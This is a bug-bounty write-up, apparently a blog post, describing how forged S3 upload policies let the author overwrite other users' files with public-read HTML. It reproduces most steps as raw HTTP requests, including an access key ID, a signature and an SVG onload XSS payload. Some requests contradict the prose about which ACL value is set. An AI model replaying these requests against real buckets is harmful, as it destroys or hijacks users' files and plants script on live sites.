Abusing ACL Permissions to Overwrite other User’s Uploaded Files/Videos on s3 Bucket

Hi all, Today I am writing a blog about on a recent finding on HackerOne’s one of the program. 
I was looking for IDORs in an application so I started fuzzing each and every request of an application, I got mentioned request

POST /api-2.0/s3-upload-signatures HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: application/json
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/home/xxx/test/upload
X-Requested-With: XMLHttpRequest, XMLHttpRequest
Cache-Control: no-cache
Content-Type: application/json; charset=utf-8
Authorization: Bearer :
X-Example-Authorization: Bearer
Content-Length: 311
Connection: close
Cookie: {}
{"expiration":"2018-12-18T11:58:24.376Z","conditions":[{"acl":"private"},{"bucket":"example-web-upload-bucket"},{"Content-Type":""},{"success_action_status":"200"},{"key":"a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg"},{"x-amz-meta-qqfilename":"1.jpg"},["content-length-range","1","9007199254740992"]]}

So basically this was a request which is used to set a policy to upload a files on a s3 bucket and after this request i got below mentioned photo/video upload request.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"
text/html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy} 
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------------1268156844136880633597812894--

This request was using the file upload policies which were generated in first request. So I tried to find that which other files exists on the s3 buckets which are currently used in an application, once i came to know some of the photo/video names which are on the same bucket, I tried to make a custom policy to upload unrestricted files on the bucket which will overwrite the existing files and also the ACL permissions were private so i wanted to replace it with public-read so each and every user on an application will get affected of this attack, So i tried to create a custom policy by changing below mentioned values in request.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"

-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
private
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy}
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.jpg"
Content-Type:
-----------------------------1268156844136880633597812894--

As you can see in the screenshot, it has created the custom policy to upload html files which will over write the existing files on the server.

I used to the policy to file upload request, and the request looked like this.

POST / HTTP/1.1
Host: example-web-upload-bucket.s3.amazonaws.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://www.example.com/
Content-Type: multipart/form-data; boundary=---------------------------1268156844136880633597812894
Content-Length: 1716
Origin: https://www.example.com
Connection: close
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="key"
a4fe6f57-a208-43a8-8aab-be2ac6ad06f9.jpg
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="AWSAccessKeyId"
AKIAIOTLFW3HMG563JEA
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="Content-Type"
text/html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="success_action_status"
200
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="acl"
public-read
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="x-amz-meta-qqfilename"
1.html
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="policy"
xxxxxxxxxxxxx{this is policy}
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="signature"
n7QQDjsmZUL5fQMOXO0vvAF98kg=
-----------------------------1268156844136880633597812894
Content-Disposition: form-data; name="file"; filename="1.html"
Content-Type: text/html
<svg/onload=prompt`1`;>
-----------------------------1268156844136880633597812894--

Now this request has uploaded unrestricted file on bucket by over writing the existing file and also abused the ACL permissions by giving the file public-read permissions.

Thats it :D 
Thanks guys for reading. have a great day ahead.